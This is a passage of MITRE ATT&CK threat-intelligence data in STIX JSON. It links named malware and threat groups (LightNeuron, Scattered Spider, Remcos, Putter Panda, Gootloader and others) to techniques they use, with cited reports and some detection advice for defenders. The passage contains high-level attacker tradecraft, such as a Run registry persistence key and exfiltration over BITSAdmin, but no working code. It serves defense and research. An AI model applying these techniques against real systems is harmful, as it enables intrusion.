May). Turla LightNeuron: One email away from remote code execution. Retrieved June 24, 2019.","url":"https://www.welivesecurity.com/wp-content/uploads/2019/05/ESET-LightNeuron.pdf","source_name":"ESET LightNeuron May 2019"}],"modified":"2019-07-16T17:12:00.709Z","description":"[LightNeuron](https://attack.mitre.org/software/S0395) has used AES and XOR to decrypt configuration files and commands.(Citation: ESET LightNeuron May 2019)","relationship_type":"uses","source_ref":"malware--6ba1d7ae-d60b-43e6-9f08-a8b787e9d9cb","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--54de26f7-7981-49b8-a353-d342a89552c8","created":"2024-03-25T21:20:52.431Z","revoked":false,"external_references":[{"source_name":"CISA Scattered Spider Advisory November 2023","description":"CISA. (2023, November 16). Cybersecurity Advisory: Scattered Spider (AA23-320A). Retrieved March 18, 2024.","url":"https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-320a"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-25T21:20:52.431Z","description":"[Scattered Spider](https://attack.mitre.org/groups/G1015) has impersonated organization IT and helpdesk staff to instruct victims to execute commercial remote access tools to gain initial access.(Citation: CISA Scattered Spider Advisory November 2023)","relationship_type":"uses","source_ref":"intrusion-set--44d37b89-a739-4810-9111-0d2617a8939b","target_ref":"attack-pattern--8c32eb4d-805f-4fc5-bf60-c4d476c131b5","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--54dfe125-7cb3-441a-8c1f-bc2031a42559","type":"relationship","created":"2022-03-30T14:26:51.847Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.847Z","description":"Monitor and analyze traffic patterns and packet inspection associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)).","source_ref":"x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c","target_ref":"attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--54e0e380-aef8-4c63-9792-ebda05affee6","type":"relationship","created":"2020-06-09T20:34:21.093Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro Tick November 2019","url":"https://documents.trendmicro.com/assets/pdf/Operation-ENDTRADE-TICK-s-Multi-Stage-Backdoors-for-Attacking-Industries-and-Stealing-Classified-Data.pdf","description":"Chen, J. et al. (2019, November). Operation ENDTRADE: TICK’s Multi-Stage Backdoors for Attacking Industries and Stealing Classified Data. Retrieved June 9, 2020."}],"modified":"2020-06-24T01:27:32.166Z","description":"[BRONZE BUTLER](https://attack.mitre.org/groups/G0060) has used tools to enumerate software installed on an infected host.(Citation: Trend Micro Tick November 2019)","relationship_type":"uses","source_ref":"intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90","target_ref":"attack-pattern--e3b6daca-e963-4a69-aee6-ed4fd653ad58","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--54e27824-ac46-49ca-8b58-dc5726b6cefb","type":"relationship","created":"2020-12-23T16:40:34.170Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit42 Molerat Mar 2020","url":"https://unit42.paloaltonetworks.com/molerats-delivers-spark-backdoor/","description":"Falcone, R., et al. (2020, March 3). Molerats Delivers Spark Backdoor to Government and Telecommunications Organizations. Retrieved December 14, 2020."}],"modified":"2021-04-19T22:03:52.473Z","description":"[Spark](https://attack.mitre.org/software/S0543) has encoded communications with the C2 server with base64.(Citation: Unit42 Molerat Mar 2020) ","relationship_type":"uses","source_ref":"malware--03ea629c-517a-41e3-94f8-c7e5368cf8f4","target_ref":"attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--54e5545a-6fdc-4bfe-af74-2c80416ed936","type":"relationship","created":"2020-12-22T18:36:12.317Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Molerats Dec 2020","url":"https://www.cybereason.com/hubfs/dam/collateral/reports/Molerats-in-the-Cloud-New-Malware-Arsenal-Abuses-Cloud-Platforms-in-Middle-East-Espionage-Campaign.pdf","description":"Cybereason Nocturnus Team. (2020, December 9). MOLERATS IN THE CLOUD: New Malware Arsenal Abuses Cloud Platforms in Middle East Espionage Campaign. Retrieved December 22, 2020."},{"source_name":"BleepingComputer Molerats Dec 2020","url":"https://www.bleepingcomputer.com/news/security/hacking-group-s-new-malware-abuses-google-and-facebook-services/","description":"Ilascu, I. (2020, December 14). Hacking group’s new malware abuses Google and Facebook services. Retrieved December 28, 2020."}],"modified":"2020-12-29T17:42:13.761Z","description":"[DropBook](https://attack.mitre.org/software/S0547) can communicate with its operators by exploiting the Simplenote, DropBox, and the social media platform, Facebook, where it can create fake accounts to control the backdoor and receive instructions.(Citation: Cybereason Molerats Dec 2020)(Citation: BleepingComputer Molerats Dec 2020)","relationship_type":"uses","source_ref":"malware--3ae6097d-d700-46c6-8b21-42fc0bcb48fa","target_ref":"attack-pattern--830c9528-df21-472c-8c14-a036bf17d665","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--54e6596d-ca80-4406-93f3-5fab013bc913","type":"relationship","created":"2020-11-13T16:22:33.578Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"IBM Grandoreiro April 2020","url":"https://securityintelligence.com/posts/grandoreiro-malware-now-targeting-banks-in-spain/","description":"Abramov, D. (2020, April 13). Grandoreiro Malware Now Targeting Banks in Spain. Retrieved November 12, 2020."}],"modified":"2020-11-13T19:31:02.473Z","description":"[Grandoreiro](https://attack.mitre.org/software/S0531) has infected victims via malicious attachments.(Citation: IBM Grandoreiro April 2020)","relationship_type":"uses","source_ref":"malware--958b5d06-8bb0-4c5b-a2e7-0130fe654ac7","target_ref":"attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--54e70260-cbf3-4c6b-bd30-208329cfef26","type":"relationship","created":"2019-01-29T18:55:20.757Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Fortinet Remcos Feb 2017","url":"https://www.fortinet.com/blog/threat-research/remcos-a-new-rat-in-the-wild-2.html","description":"Bacurio, F., Salvio, J. (2017, February 14). REMCOS: A New RAT In The Wild. Retrieved November 6, 2018."}],"modified":"2019-04-19T14:39:53.059Z","description":"[Remcos](https://attack.mitre.org/software/S0332) has a command to hide itself through injecting into another process.(Citation: Fortinet Remcos Feb 2017)","relationship_type":"uses","source_ref":"tool--7cd0bc75-055b-4098-a00e-83dc8beaff14","target_ref":"attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--54e76e33-91b4-409f-a784-7e181f82b216","type":"relationship","created":"2020-07-16T15:23:48.600Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET ForSSHe December 2018","url":"https://www.welivesecurity.com/wp-content/uploads/2018/12/ESET-The_Dark_Side_of_the_ForSSHe.pdf","description":"Dumont, R., M.Léveillé, M., Porcher, H. (2018, December 1). THE DARK SIDE OF THE FORSSHE A landscape of OpenSSH backdoors. Retrieved July 16, 2020."}],"modified":"2020-07-16T15:23:48.600Z","description":"[Kessel](https://attack.mitre.org/software/S0487) has decrypted the binary's configuration once the main function was launched.(Citation: ESET ForSSHe December 2018)","relationship_type":"uses","source_ref":"malware--c984b414-b766-44c5-814a-2fe96c913c12","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--54e99ba2-143f-43be-8d7f-79de5551d1ac","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"http://researchcenter.paloaltonetworks.com/2015/12/bbsrat-attacks-targeting-russian-organizations-linked-to-roaming-tiger/","description":"Lee, B. Grunzweig, J. (2015, December 22). BBSRAT Attacks Targeting Russian Organizations Linked to Roaming Tiger. Retrieved August 19, 2016.","source_name":"Palo Alto Networks BBSRAT"}],"modified":"2019-04-24T23:10:02.487Z","description":"[BBSRAT](https://attack.mitre.org/software/S0127) can query service configuration information.(Citation: Palo Alto Networks BBSRAT)","relationship_type":"uses","source_ref":"malware--64d76fa5-cf8f-469c-b78c-1a4f7c5bad80","target_ref":"attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--54ea458f-665e-42a3-b181-8d783e9589ad","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos GravityRAT","description":"Mercer, W., Rascagneres, P. (2018, April 26). GravityRAT - The Two-Year Evolution Of An APT Targeting India. Retrieved May 16, 2018.","url":"https://blog.talosintelligence.com/2018/04/gravityrat-two-year-evolution-of-apt.html"}],"modified":"2019-04-24T23:21:59.269Z","description":"[GravityRAT](https://attack.mitre.org/software/S0237) lists the running processes on the system.(Citation: Talos GravityRAT)","relationship_type":"uses","source_ref":"malware--1d1fce2f-0db5-402b-9843-4278a0694637","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--54ece776-8a64-4e0c-9d54-4350680c07b8","type":"relationship","created":"2020-05-06T21:31:07.563Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Okrum July 2019","url":"https://www.welivesecurity.com/wp-content/uploads/2019/07/ESET_Okrum_and_Ketrican.pdf","description":"Hromcova, Z. (2019, July). OKRUM AND KETRICAN: AN OVERVIEW OF RECENT KE3CHANG GROUP ACTIVITY. Retrieved May 6, 2020."}],"modified":"2020-05-06T21:31:07.563Z","description":"[Okrum](https://attack.mitre.org/software/S0439)'s payload is encrypted and embedded within its loader, or within a legitimate PNG file.(Citation: ESET Okrum July 2019)","relationship_type":"uses","source_ref":"malware--4b6ec280-7bbb-48ff-ae59-b189520ebe83","target_ref":"attack-pattern--c2e147a9-d1a8-4074-811a-d8789202d916","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--54f36f78-5046-48f5-9ec8-0348ae057fff","created":"2020-12-28T18:50:41.516Z","x_mitre_version":"1.0","external_references":[{"source_name":"Red Canary Hospital Thwarted Ryuk October 2020","url":"https://redcanary.com/blog/how-one-hospital-thwarted-a-ryuk-ransomware-outbreak/","description":"Brian Donohue, Katie Nickels, Paul Michaud, Adina Bodkins, Taylor Chapman, Tony Lambert, Jeff Felling, Kyle Rainey, Mike Haag, Matt Graeber, Aaron Didier.. (2020, October 29). A Bazar start: How one hospital thwarted a Ryuk ransomware outbreak. Retrieved October 30, 2020."},{"source_name":"FireEye Ryuk and Trickbot January 2019","url":"https://www.fireeye.com/blog/threat-research/2019/01/a-nasty-trick-from-credential-theft-malware-to-business-disruption.html","description":"Goody, K., et al (2019, January 11). A Nasty Trick: From Credential Theft Malware to Business Disruption. Retrieved May 12, 2020."},{"source_name":"FireEye FIN6 Apr 2019","url":"https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html","description":"McKeague, B. et al. (2019, April 5). Pick-Six: Intercepting a FIN6 Intrusion, an Actor Recently Tied to Ryuk and LockerGoga Ransomware. Retrieved April 17, 2019."}],"x_mitre_deprecated":false,"revoked":false,"description":"[AdFind](https://attack.mitre.org/software/S0552) can extract subnet information from Active Directory.(Citation: Red Canary Hospital Thwarted Ryuk October 2020)(Citation: FireEye FIN6 Apr 2019)(Citation: FireEye Ryuk and Trickbot January 2019)","modified":"2022-05-20T17:07:10.937Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"tool--f59508a6-3615-47c3-b493-6676e1a39a87","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--54f6c1c8-f3c7-44a6-9a00-2195e03cf0ae","created":"2021-10-08T19:01:06.111Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Group IB APT 41 June 2021","description":"Rostovcev, N. (2021, June 10). Big airline heist APT41 likely behind a third-party attack on Air India. Retrieved August 26, 2021.","url":"https://www.group-ib.com/blog/colunmtk-apt41/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-23T15:45:58.852Z","description":"[APT41](https://attack.mitre.org/groups/G0096) has uploaded files and data from a compromised host.(Citation: Group IB APT 41 June 2021)","relationship_type":"uses","source_ref":"intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--54f798f6-b340-4188-b8a2-b09d2c5699c4","created":"2022-10-19T17:22:16.647Z","revoked":false,"external_references":[{"source_name":"crowdstrike bpf socket filters","description":"Jamie Harries. (2022, May 25). Hunting a Global Telecommunications Threat: DecisiveArchitect and Its Custom Implant JustForFun. Retrieved October 18, 2022.","url":"https://www.crowdstrike.com/blog/how-to-hunt-for-decisivearchitect-and-justforfun-implant/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-19T17:22:16.647Z","description":"Identify running processes with raw sockets. Ensure processes listed have a need for an open raw socket and are in accordance with enterprise policy.(Citation: crowdstrike bpf socket filters)","relationship_type":"detects","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--005cc321-08ce-4d17-b1ea-cb5275926520","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--54f9c8a5-0677-4be8-bd72-a6a096be00bd","created":"2021-02-08T23:18:31.894Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Crowdstrike Indrik November 2018","description":"Frankoff, S., Hartley, B. (2018, November 14). Big Game Hunting: The Evolution of INDRIK SPIDER From Dridex Wire Fraud to BitPaymer Targeted Ransomware. Retrieved January 6, 2021.","url":"https://www.crowdstrike.com/blog/big-game-hunting-the-evolution-of-indrik-spider-from-dridex-wire-fraud-to-bitpaymer-targeted-ransomware/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-11T02:53:09.150Z","description":"[BitPaymer](https://attack.mitre.org/software/S0570) has used RC4-encrypted strings and string hashes to avoid identifiable strings within the binary.(Citation: Crowdstrike Indrik November 2018)","relationship_type":"uses","source_ref":"malware--fa766a65-5136-4ff3-8429-36d08eaa0100","target_ref":"attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--54fad432-5890-4a82-b1c3-83c54ad773ff","created":"2024-05-29T20:09:12.526Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"SentinelOne Gootloader June 2021","description":"Pirozzi, A. (2021, June 16). Gootloader: ‘Initial Access as a Service’ Platform Expands Its Search for High Value Targets. Retrieved May 28, 2024.","url":"https://www.sentinelone.com/labs/gootloader-initial-access-as-a-service-platform-expands-its-search-for-high-value-targets/"},{"source_name":"Sophos Gootloader","description":"Szappanos, G. & Brandt, A. (2021, March 1). “Gootloader” expands its payload delivery options. Retrieved September 30, 2022.","url":"https://news.sophos.com/en-us/2021/03/01/gootloader-expands-its-payload-delivery-options/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-29T20:51:07.057Z","description":"[Gootloader](https://attack.mitre.org/software/S1138) can use an encoded PowerShell stager to write to the Registry for persistence.(Citation: Sophos Gootloader)(Citation: SentinelOne Gootloader June 2021)","relationship_type":"uses","source_ref":"malware--396c18b9-26fb-4435-8589-fb856502e4c4","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--54fd87c2-7d29-422f-bf92-96e7d603563f","type":"relationship","created":"2020-06-22T20:15:32.216Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft Holmium June 2020","url":"https://www.microsoft.com/security/blog/2020/06/18/inside-microsoft-threat-protection-mapping-attack-chains-from-cloud-to-endpoint/","description":"Microsoft Threat Protection Intelligence Team. (2020, June 18). Inside Microsoft Threat Protection: Mapping attack chains from cloud to endpoint. Retrieved June 22, 2020."}],"modified":"2020-06-22T20:15:32.216Z","description":"[APT33](https://attack.mitre.org/groups/G0064) has sent spearphishing e-mails with archive attachments.(Citation: Microsoft Holmium June 2020)","relationship_type":"uses","source_ref":"intrusion-set--fbd29c89-18ba-4c2d-b792-51c0adee049f","target_ref":"attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--550096e6-6ed2-41de-8cfc-3a59da54bf68","created":"2024-09-17T20:38:26.552Z","revoked":false,"external_references":[{"source_name":"Bleeping Computer Latrodectus April 2024","description":"Abrams, L. (2024, April 30). New Latrodectus malware attacks use Microsoft, Cloudflare themes. Retrieved September 13, 2024.","url":"https://www.bleepingcomputer.com/news/security/new-latrodectus-malware-attacks-use-microsoft-cloudflare-themes/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-17T20:38:26.553Z","description":"[Latrodectus](https://attack.mitre.org/software/S1160) has been distributed through reply-chain phishing emails with malicious attachments.(Citation: Bleeping Computer Latrodectus April 2024)","relationship_type":"uses","source_ref":"malware--76fde8df-3495-47c9-82eb-125c4f7fb621","target_ref":"attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--5508061c-abeb-4c96-8daf-cb0d612bce08","created":"2022-06-16T13:09:57.102Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Monitor for logging that may suggest a list of available groups and/or their associated settings has been extracted, ex. Windows EID 4798 and 4799.","modified":"2022-06-16T13:09:57.102Z","relationship_type":"detects","source_ref":"x-mitre-data-component--8e44412e-3238-4d64-8878-4f11e27784fe","target_ref":"attack-pattern--25659dd6-ea12-45c4-97e6-381e3e4b593e","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--550bf43e-53da-467e-affd-9f44ad668508","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Baumgartner Naikon 2015","description":"Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019.","url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf"}],"modified":"2019-05-03T16:44:41.794Z","description":"[Sys10](https://attack.mitre.org/software/S0060) collects the computer name, OS versioning information, and OS install date and sends the information to the C2.(Citation: Baumgartner Naikon 2015)","relationship_type":"uses","source_ref":"malware--7f8730af-f683-423f-9ee1-5f6875a80481","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--550d2a38-7dd8-497d-b65d-43b65a3ec49e","created":"2023-08-17T18:54:43.905Z","revoked":false,"external_references":[{"source_name":"Mandiant APT29 Eye Spy Email Nov 22","description":"Mandiant. (2022, May 2). UNC3524: Eye Spy on Your Email. Retrieved August 17, 2023.","url":"https://www.mandiant.com/resources/blog/unc3524-eye-spy-email"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-08-17T18:54:43.905Z","description":"[QUIETEXIT](https://attack.mitre.org/software/S1084) can attempt to connect to a second hard-coded C2 if the first hard-coded C2 address fails.(Citation: Mandiant APT29 Eye Spy Email Nov 22)","relationship_type":"uses","source_ref":"malware--4816d361-f82b-4a18-aa05-b215e7cf9200","target_ref":"attack-pattern--f24faf46-3b26-4dbb-98f2-63460498e433","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--55120727-0b7f-4d6a-a881-d17bdc9c85ba","type":"relationship","created":"2017-05-31T21:33:27.058Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf","description":"Crowdstrike Global Intelligence Team. (2014, June 9). CrowdStrike Intelligence Report: Putter Panda. Retrieved January 22, 2016.","source_name":"CrowdStrike Putter Panda"}],"modified":"2019-03-25T16:53:38.815Z","description":"A dropper used by [Putter Panda](https://attack.mitre.org/groups/G0024) installs itself into the ASEP Registry key HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run with a value named McUpdate.(Citation: CrowdStrike Putter Panda)","relationship_type":"uses","source_ref":"intrusion-set--5ce5392a-3a6c-4e07-9df3-9b6a9159ac45","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--5514c844-4f4b-4a07-a98b-60715a1c587f","created":"2022-03-30T14:26:51.865Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-08-14T19:07:51.788Z","description":"Monitor for files (such as /etc/hosts) being accessed that may attempt to get a listing of other systems by IP address, hostname, or other logical identifier on a network that may be used for Lateral Movement from the current system.\n\nFor Windows, Event ID 4663 (An Attempt Was Made to Access An Object) can be used to alert on access attempts of local files that store host data, including C:\\Windows\\System32\\Drivers\\etc\\hosts.\n\nFor Linux, auditing frameworks such as the audit daemon (auditd) can be used to alert on access attempts of local files that store host data, including /etc/hosts.","relationship_type":"detects","source_ref":"x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71","target_ref":"attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--551c4e98-3dfb-472b-8fa8-6a8961dfd418","type":"relationship","created":"2019-04-17T22:55:43.579Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Securelist Remexi Jan 2019","url":"https://securelist.com/chafer-used-remexi-malware/89538/","description":"Legezo, D. (2019, January 30). Chafer used Remexi malware to spy on Iran-based foreign diplomatic entities. Retrieved April 17, 2019."}],"modified":"2019-04-22T20:18:07.133Z","description":"[Remexi](https://attack.mitre.org/software/S0375) performs exfiltration over [BITSAdmin](https://attack.mitre.org/software/S0190), which is also used for the C2 channel.(Citation: Securelist Remexi Jan 2019)","relationship_type":"uses","source_ref":"malware--ecc2f65a-b452-4eaf-9689-7e181f17f7a5","target_ref":"attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--551f1eb5-0cb9-4f5b-a97d-c61c081eea9e","created":"2024-08-09T18:39:26.694Z","revoked":false,"external_references":[{"source_name":"Mandiant ROADSWEEP August 2022","description":"Jenkins, L. at al. (2022, August 4). ROADSWEEP Ransomware - Likely Iranian Threat Actor Conducts Politically Motivated Disruptive Activity Against Albanian Government Organizations. Retrieved August 6, 2024.","url":"https://cloud.google.com/blog/topics/threat-intelligence/likely-iranian-threat-actor-conducts-politically-motivated-disruptive-activity-against/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-09T18:39:26.694Z","description":"[CHIMNEYSWEEP](https://attack.mitre.org/software/S1149) can capture content from the clipboard.(Citation: Mandiant ROADSWEEP August 